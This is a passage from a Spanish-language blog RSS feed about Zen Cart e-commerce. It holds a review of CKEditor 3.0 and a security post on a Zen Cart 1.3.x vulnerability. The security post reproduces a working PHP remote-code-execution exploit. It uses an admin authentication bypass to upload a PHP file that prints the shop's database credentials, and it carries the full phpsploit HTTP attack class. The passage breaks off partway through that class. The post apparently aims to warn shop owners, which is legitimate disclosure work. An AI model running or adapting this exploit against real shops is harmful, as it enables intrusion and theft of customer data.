	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F&amp;title=Comercio%20electr%C3%B3nico%202.0&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=Leo%20en%20el%20blog%20de%20Fernando%20Maci%26aacute%3B%20una%20entrada%20publicada%20en%20Mayo%20de%20este%20a%26ntilde%3Bo%2C%20donde%20nos%20expone%20su%20visi%26oacute%3Bn%20sobre%20el%20cambio%20de%20modelo%20que%20est%26aacute%3B%20%26quot%3Bempezando%26quot%3B%20a%20surgir%20en%20las%20aplicaciones%20para%20el%20comercio%20electr%26oacute%3Bni" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=Comercio%20electr%C3%B3nico%202.0%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fcomercio-electronico%2Fcomercio-electronico-2-0%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/comercio-electronico/comercio-electronico-2-0/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CKEditor 3.0 &#8211; La evolución de FCKEditor</title>
		<link>http://www.zen-cart.es/herramientas/ckeditor-evolucion-de-fckeditor/</link>
		<comments>http://www.zen-cart.es/herramientas/ckeditor-evolucion-de-fckeditor/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 22:11:59 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Herramientas]]></category>
		<category><![CDATA[CKeditor]]></category>
		<category><![CDATA[Editores WYSIWIG]]></category>
		<category><![CDATA[FCKEditor]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=32</guid>
		<description><![CDATA[	A d&#237;a de hoy disponemos de una amplia variedad de editores WYSIWYG y, entre todos los Open Source, destacar&#237;a dos:
	
	FCKEditor (ahora CKEditor)
	TinyMCE
	
	Tanto FCKEditor como TinyMCE han sido adaptados para infinidad de plataformas como Zen Cart, Os Commerce, Prestashop, Joomla, Drupal, Wordpress, etc, etc. Ambos disponen de listas interminables de plugins (plugins FCKEditor, plugins TinyMCE) que [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F" height="61" width="51" title="CKEditor 3.0   La evolución de FCKEditor" alt=" CKEditor 3.0   La evolución de FCKEditor" /></a></div>	<p><img height="240" width="329" class="alignleft size-full wp-image-34" title="ckeditor_screenshot" alt="ckeditor screenshot CKEditor 3.0   La evolución de FCKEditor" src="http://www.zen-cart.es/wp-content/uploads/2009/09/ckeditor_screenshot.png" />A d&iacute;a de hoy disponemos de una amplia variedad de editores <abbr lang="en" title="What You See Is What You Get">WYSIWYG</abbr> y, entre todos los Open Source, destacar&iacute;a dos:</p>
	<ul>
	<li><a href="http://www.fckeditor.net">FCKEditor</a> (ahora <a href="http://ckeditor.com">CKEditor</a>)</li>
	<li><a href="http://tinymce.moxiecode.com/">TinyMCE</a></li>
	</ul>
	<p>Tanto FCKEditor como TinyMCE han sido adaptados para infinidad de plataformas como <a href="http://zen-cart.es">Zen Cart</a>, Os Commerce, Prestashop, Joomla, Drupal, Wordpress, etc, etc. Ambos disponen de listas interminables de plugins (<a href="http://sourceforge.net/tracker/?group_id=75348&amp;atid=737639|FCKeditor%27s">plugins FCKEditor</a>, <a href="http://tinymce.moxiecode.com/plugins_thirdparty.php">plugins TinyMCE</a>) que los dota de mayores capacidades y, como no pod&iacute;a ser de otra forma, ambos proyectos est&aacute;n apoyados por grandes comunidades de usuarios y desarrolladores.</p>
	<p>Aunque existen tantas posibilidades que ser&iacute;a complicado mencionarlos todos, quiero mencionar algunos ejemplos como los siguientes editores WYSIWYG:</p>
	<ul>
	<li><a href="http://unverse.net/whizzywig-cross-browser-html-editor.html">Whizzywing</a></li>
	<li><a href="http://www.textarearich.com/">TextArea Rich</a></li>
	<li><a href="http://www.openwebware.com/">OpenWYSIWYG</a></li>
	<li><a href="http://www.rtepad.com/">rtePad</a></li>
	<li><a href="http://xinha.webfactional.com/">xinha</a></li>
	<li><a href="http://www.wymeditor.org/">WYMEditor</a></li>
	</ul>
	<h3>CKEditor</h3>
	<p><strong>CKEditor </strong>es la evoluci&oacute;n que necesitaba este gran editor para continuar estando un paso por delante de su &quot;competencia&quot;.</p>
	<p>En esta nueva versi&oacute;n, el equipo de desarrollo ha realizado un gran esfuerzos en mejorar los puntos d&eacute;biles del anterior FCKEditor como la velocidad de carga y, la complejidad y rendimiento de ciertas funcionalidades. Todo esto sin olvidar la filosof&iacute;a de crear un editor accesible tanto en su interfaz de usuario como en el c&oacute;digo HTML que genera, un editor compatible con los navegadores m&aacute;s utilizados, f&aacute;cil de adaptar, estilizar y de extender mediante plugins, un editor WYSIWYG que no depende de ning&uacute;n framework JS, con lo que se evitan posibles conflictos en aplicaciones que si incorporan alguno.</p>
	<p><strong>EL resultado</strong></p>
	<p>Con solo trastear m&iacute;nimamente entre las diferentes herramientas que incorpora por defecto, se aprecia una notable mejor&iacute;a respecto de las versiones anteriores, especialmente en la velocidad de carga del editor y de los diferentes elementos como las listas, ventanas o di&aacute;logos, etc (ya tengo ganas de incorporarlo en alg&uacute;n proyecto).</p>
	<p>Se aprecian cambios importantes en el API JS del editor, pero de momento no puedo valorarlos con la con la corta experiencia que tengo con este nuevo API.</p>
	<p><strong>Lo que le falta</strong></p>
	<p>Sin demasiado tiempo para destriparlo por completo, sigo viendo aspectos mejorables en el apartado de la accesibilidad, en concreto cuando utilizamos la herramienta para pegar texto de Word y cuando intentamos indicar <a href="http://www.discapnet.es/web_accesible/tecnicas/html/WCAG10-HTML-TECHS_es.html#changes-in-lang">cambios de idioma en el texto</a>.</p>
	<p>La herramienta para pegar texto de Word, aunque consigue limpiar la basura de c&oacute;digo que se genera al copiar de Word, no logra un c&oacute;digo totalmente limpio&nbsp;ni XHTML&nbsp;1.0 estricto. Por ejemplo, si pegamos un texto con negritas y cursivas, observaremos que utiliza el tag <strong><code>&lt;b&gt;</code></strong> en vez de <strong><code>&lt;strong&gt;</code></strong> y el tag <strong><code>&lt;i&gt;</code></strong> en vez de <strong><code>&lt;em&gt;</code></strong>, cosa que no sucede al utilizar los botones por defecto del editor.</p>
	<p>Si utilizamos el navegador Firefox para editar nuestros textos, quiz&aacute; nos encontremos que se agregan, en el estilo, ciertos atributos espec&iacute;ficos para dicho navegador (<em>ej:&nbsp;-moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;</em>).</p>
	<p>&iquest;Qu&eacute; os parece esta nueva versi&oacute;n?</p>
	<p>P&aacute;gina oficial de <a href="http://ckeditor.com">CKEditor</a></p>



Comparte esta entrada:


	<a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F&amp;t=CKEditor%203.0%20-%20La%20evoluci%C3%B3n%20de%20FCKEditor" title="Facebook"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://bitacoras.com/anotaciones/http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F" title="Bitacoras.com"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/bitacoras.png" title="Bitacoras.com" alt="Bitacoras.com" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F&amp;title=CKEditor%203.0%20-%20La%20evoluci%C3%B3n%20de%20FCKEditor&amp;source=Experto+Zen+Cart+-+Programador+Freelance+Tiendas+Virtuales+Zen+Cart+Tiendas+virtuales+y+mucho+m%C3%A1s&amp;summary=A%20d%26iacute%3Ba%20de%20hoy%20disponemos%20de%20una%20amplia%20variedad%20de%20editores%20WYSIWYG%20y%2C%20entre%20todos%20los%20Open%20Source%2C%20destacar%26iacute%3Ba%20dos%3A%0D%0A%0D%0A%20%20%20%20FCKEditor%20%28ahora%20CKEditor%29%0D%0A%20%20%20%20TinyMCE%0D%0A%0D%0ATanto%20FCKEditor%20como%20TinyMCE%20han%20sido%20adaptados%20para%20infinidad%20de%20plata" title="LinkedIn"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://meneame.net/submit.php?url=http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F" title="Meneame"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/meneame.png" title="Meneame" alt="Meneame" class="sociable-hovers" /></a>
	<a rel="nofollow"  href="http://twitter.com/home?status=CKEditor%203.0%20-%20La%20evoluci%C3%B3n%20de%20FCKEditor%20-%20http%3A%2F%2Fwww.zen-cart.es%2Fherramientas%2Fckeditor-evolucion-de-fckeditor%2F" title="Twitter"><img src="http://www.zen-cart.es/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>


<br/><br/>]]></content:encoded>
			<wfw:commentRss>http://www.zen-cart.es/herramientas/ckeditor-evolucion-de-fckeditor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zen Cart 1.3.x &#8211; Grave vulnerabilidad</title>
		<link>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/</link>
		<comments>http://www.zen-cart.es/seguridad/zencart-1-3-x-grave-vulnerabilidad/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 21:37:52 +0000</pubDate>
		<dc:creator>Sergio Guerrero</dc:creator>
				<category><![CDATA[Seguridad Zen Cart]]></category>
		<category><![CDATA[ZenCart 1.3.x]]></category>

		<guid isPermaLink="false">http://www.zen-cart.es/?p=16</guid>
		<description><![CDATA[	En milw0rm.com se publican dos scripts (inyecci&#243;n de c&#243;digo, inyecci&#243;n de SQL) para explotar una grave vulnerabilidad que afecta a toda la rama 1.3.x de Zen Cart y que permite inyectar c&#243;digo de forma remota en el directorio de im&#225;genes. Una vez nos inyectan el c&#243;digo en nuestra web, pueden incluso obtener los datos de [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.zen-cart.es%2Fseguridad%2Fzencart-1-3-x-grave-vulnerabilidad%2F" height="61" width="51" title="Zen Cart 1.3.x   Grave vulnerabilidad" alt=" Zen Cart 1.3.x   Grave vulnerabilidad" /></a></div>	<p><span style="float: left; margin-right: 1em;"><img alt="Fallo de seguridad" class="alignnone size-full wp-image-17" height="214" src="http://www.zen-cart.es/wp-content/uploads/2009/08/openLock.jpg" title="Fallo de seguridad" width="250" /></span>En <a href="http://www.milw0rm.com">milw0rm.com</a> se publican dos scripts (<a href="http://www.milw0rm.com/exploits/9004">inyecci&oacute;n de c&oacute;digo</a>, <a href="http://www.milw0rm.com/exploits/9005">inyecci&oacute;n de SQL</a>) para explotar una grave vulnerabilidad que afecta a toda la rama 1.3.x de <strong>Zen Cart </strong>y que permite inyectar c&oacute;digo de forma remota en el directorio de im&aacute;genes. Una vez nos inyectan el c&oacute;digo en nuestra web, pueden incluso obtener los datos de acceso a la base de datos y borrarla o consultar los datos de nuestros clientes.</p>
	<p>En vez de utilizar el exploit original, mostrar&eacute; una modificaci&oacute;n para mostrar los desastrosos efectos que puede tener esta vulnerabilidad de Zen Cart.</p>
	<p>En el siguiente ejemplo muestro como nos podr&iacute;an inyectar c&oacute;digo de forma remota permiti&eacute;ndoles obtener los datos de acceso a la base de datos. Antes de ejecutarlo, es necesario indicar correctamente la URL&nbsp;modificando la variable <strong>$url</strong> y si la tienda es vulnerable les aparecer&aacute; un enlace hacia el documento PHP&nbsp;que muestra los datos de acceso a la base de datos.<span id="more-16"></span></p>
	
<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">                          <span style="color: #339933;">|</span>  
  <span style="color: #339933;">========================================================================</span>
  <span style="color: #339933;">|</span>                                                                      <span style="color: #339933;">|</span>
  <span style="color: #339933;">|</span> \<span style="color: #000088;">$system</span><span style="color: #339933;">&gt;</span> php <span style="color: #000088;">$argv</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&lt;</span>url<span style="color: #339933;">&gt;</span>                                         <span style="color: #339933;">|</span>
  <span style="color: #339933;">|</span> Notes<span style="color: #339933;">:</span> <span style="color: #339933;">&lt;</span>url<span style="color: #339933;">&gt;</span>      ex<span style="color: #339933;">:</span> http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//victim.com/site (no slash)              |</span>
  <span style="color: #339933;">|</span>                                                                      <span style="color: #339933;">|</span>
  <span style="color: #339933;">========================================================================</span>
  <span style="color: #0000ff;">&quot;;exit(1);
}*/
&nbsp;
<span style="color: #006699; font-weight: bold;">$url</span> = &amp;#39;http://www.web_con_bug.com&amp;#39;;
<span style="color: #006699; font-weight: bold;">$trick</span> = &quot;</span><span style="color: #339933;">/</span>password_forgotten<span style="color: #339933;">.</span>php<span style="color: #0000ff;">&quot;;
&nbsp;
<span style="color: #006699; font-weight: bold;">$xpl</span> = new phpsploit();
<span style="color: #006699; font-weight: bold;">$xpl-&gt;agent</span>(&quot;</span>Mozilla Firefox<span style="color: #0000ff;">&quot;);
&nbsp;
<span style="color: #006699; font-weight: bold;">$real_kthxbye</span> = remote_exec(<span style="color: #006699; font-weight: bold;">$url</span>);
&nbsp;
// Remote Code Execution Exploit
function remote_exec(<span style="color: #006699; font-weight: bold;">$url</span>) 
{
  global <span style="color: #006699; font-weight: bold;">$xpl</span>, <span style="color: #006699; font-weight: bold;">$url</span>, <span style="color: #006699; font-weight: bold;">$trick</span>;
&nbsp;
  echo &quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">-</span><span style="color: #009900;">&#93;</span> Ejecuci<span style="color: #339933;">&amp;</span>oacute<span style="color: #339933;">;</span> remota de c<span style="color: #339933;">&amp;</span>oacute<span style="color: #339933;">;</span>digo<span style="color: #0000ff;">&quot;;
&nbsp;
  if(!<span style="color: #006699; font-weight: bold;">$xpl-&gt;get</span>(<span style="color: #006699; font-weight: bold;">$url</span>.&amp;#39;/admin/&amp;#39;))
  { 
    die(&quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#93;</span> error <span style="color: #339933;">-</span> El directorio <span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span> es un directorio protegido o no existe<span style="color: #339933;">.</span>\n<span style="color: #0000ff;">&quot;);
  }
&nbsp;
  <span style="color: #006699; font-weight: bold;">$n</span> = substr(md5(rand(0, 1337)), 0, 5).&quot;</span><span style="color: #339933;">.</span>php<span style="color: #0000ff;">&quot;; // random php file
  <span style="color: #006699; font-weight: bold;">$code</span> = &amp;#39;DB_SERVER: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER<span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_SERVER_USERNAME: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER_USERNAME<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_SERVER_PASSWORD: &quot;</span> <span style="color: #339933;">.</span> DB_SERVER_PASSWORD<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;DB_DATABASE: &quot;</span> <span style="color: #339933;">.</span> DB_DATABASE<span style="color: #339933;">;</span><span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;;
</span>	
  <span style="color: #000088;">$form</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>frmdt_url <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$url</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/admin/record_company.php&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$trick</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;?action=insert&quot;</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">&quot;record_company_name&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;0&quot;</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">&quot;record_company_image&quot;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>frmdt_type <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;tgreal/suce&quot;</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">// it works ! o_O</span>
                                                             frmdt_filename <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$n</span><span style="color: #339933;">,</span>
                                                             frmdt_content <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xpl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">formdata</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$form</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[!] C&amp;oacute;digo inyectado en &lt;a href=&quot;</span>\<span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$url}</span>/images/<span style="color: #006699; font-weight: bold;">{$n}</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">/</span>images<span style="color: #339933;">/</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$n</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;</span><span style="color: #0000ff;">&quot;;
  }
  else
  {
    die(&quot;</span>\n<span style="color: #009900;">&#91;</span><span style="color: #339933;">!</span><span style="color: #009900;">&#93;</span> error <span style="color: #339933;">-</span> No ha sido posible subir el script\n<span style="color: #0000ff;">&quot;);
  }
}
&nbsp;
/**
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */
&nbsp;
class phpsploit
{
  var <span style="color: #006699; font-weight: bold;">$proxyhost</span>;
  var <span style="color: #006699; font-weight: bold;">$proxyport</span>;
  var <span style="color: #006699; font-weight: bold;">$host</span>;
  var <span style="color: #006699; font-weight: bold;">$path</span>;
  var <span style="color: #006699; font-weight: bold;">$port</span>;
  var <span style="color: #006699; font-weight: bold;">$method</span>;
  var <span style="color: #006699; font-weight: bold;">$url</span>;
  var <span style="color: #006699; font-weight: bold;">$packet</span>;
  var <span style="color: #006699; font-weight: bold;">$proxyuser</span>;
  var <span style="color: #006699; font-weight: bold;">$proxypass</span>;
  var <span style="color: #006699; font-weight: bold;">$header</span>;
  var <span style="color: #006699; font-weight: bold;">$cookie</span>;
  var <span style="color: #006699; font-weight: bold;">$data</span>;
  var <span style="color: #006699; font-weight: bold;">$boundary</span>;
  var <span style="color: #006699; font-weight: bold;">$allowredirection</span>;
  var <span style="color: #006699; font-weight: bold;">$last_redirection</span>;
  var <span style="color: #006699; font-weight: bold;">$cookiejar</span>;
  var <span style="color: #006699; font-weight: bold;">$recv</span>;
  var <span style="color: #006699; font-weight: bold;">$cookie_str</span>;
  var <span style="color: #006699; font-weight: bold;">$header_str</span>;
  var <span style="color: #006699; font-weight: bold;">$server_content</span>;
  var <span style="color: #006699; font-weight: bold;">$server_header</span>;
&nbsp;
&nbsp;
  /**
   * This function is called by the
   * get()/post()/formdata() functions.
   * You don&amp;#39;t have to call it, this is
   * the main function.
   *
   * @access private
   * @return string <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> ServerResponse
   * 
   */
  function sock()
  {
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span>) &amp;&amp; !empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span>))
      <span style="color: #006699; font-weight: bold;">$socket</span> = @fsockopen(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span>);
    else
      <span style="color: #006699; font-weight: bold;">$socket</span> = @fsockopen(<span style="color: #006699; font-weight: bold;">$this-&gt;host</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;port</span>);
&nbsp;
    if(!<span style="color: #006699; font-weight: bold;">$socket</span>)
      die(&quot;</span>Error<span style="color: #339933;">:</span> Host seems down<span style="color: #0000ff;">&quot;);
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;get&amp;#39;)
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> = &amp;#39;GET &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;url</span>.&quot;</span> HTTP<span style="color: #339933;">/</span><span style="color:#800080;">1.1</span>\r\n<span style="color: #0000ff;">&quot;;
    elseif(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;post&amp;#39; or <span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;formdata&amp;#39;)
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> = &amp;#39;POST &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;url</span>.&quot;</span> HTTP<span style="color: #339933;">/</span><span style="color:#800080;">1.1</span>\r\n<span style="color: #0000ff;">&quot;;
    else
      die(&quot;</span>Error<span style="color: #339933;">:</span> Invalid method<span style="color: #0000ff;">&quot;);
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Proxy-Authorization: Basic &amp;#39;.base64_encode(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span>.&amp;#39;:&amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span>).&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;showheader</span>();
&nbsp;
    if(!empty(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Cookie: &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;showcookie</span>().&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Host: &amp;#39;.<span style="color: #006699; font-weight: bold;">$this-&gt;host</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>Connection<span style="color: #339933;">:</span> Close\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;post&amp;#39;)
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>Content<span style="color: #339933;">-</span>Type<span style="color: #339933;">:</span> application<span style="color: #339933;">/</span>x<span style="color: #339933;">-</span>www<span style="color: #339933;">-</span>form<span style="color: #339933;">-</span>urlencoded\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Length: &amp;#39;.strlen(<span style="color: #006699; font-weight: bold;">$this-&gt;data</span>).&quot;</span>\r\n\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;data</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    }
    elseif(<span style="color: #006699; font-weight: bold;">$this-&gt;method</span>==&amp;#39;formdata&amp;#39;)
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Type: multipart/form-data; boundary=&amp;#39;.str_repeat(&amp;#39;-&amp;#39;,27).<span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &amp;#39;Content-Length: &amp;#39;.strlen(<span style="color: #006699; font-weight: bold;">$this-&gt;data</span>).&quot;</span>\r\n\r\n<span style="color: #0000ff;">&quot;;
      <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= <span style="color: #006699; font-weight: bold;">$this-&gt;data</span>;
    }
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> .= &quot;</span>\r\n<span style="color: #0000ff;">&quot;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> = &amp;#39;&amp;#39;;
&nbsp;
    fputs(<span style="color: #006699; font-weight: bold;">$socket</span>,<span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>);
&nbsp;
    while(!feof(<span style="color: #006699; font-weight: bold;">$socket</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span> .= fgets(<span style="color: #006699; font-weight: bold;">$socket</span>);
&nbsp;
    fclose(<span style="color: #006699; font-weight: bold;">$socket</span>);
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;cookiejar</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;getcookie</span>();
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;allowredirection</span>)
      return <span style="color: #006699; font-weight: bold;">$this-&gt;getredirection</span>();
    else
      return <span style="color: #006699; font-weight: bold;">$this-&gt;recv</span>;
  }
&nbsp;
&nbsp;
  /**
   * This function allows you to add several
   * cookies in the request.
   * 
   * @access  public
   * @param   string cookn CookieName
   * @param   string cookv CookieValue
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;addcookie</span>(&amp;#39;name&amp;#39;,&amp;#39;value&amp;#39;)
   * 
   */
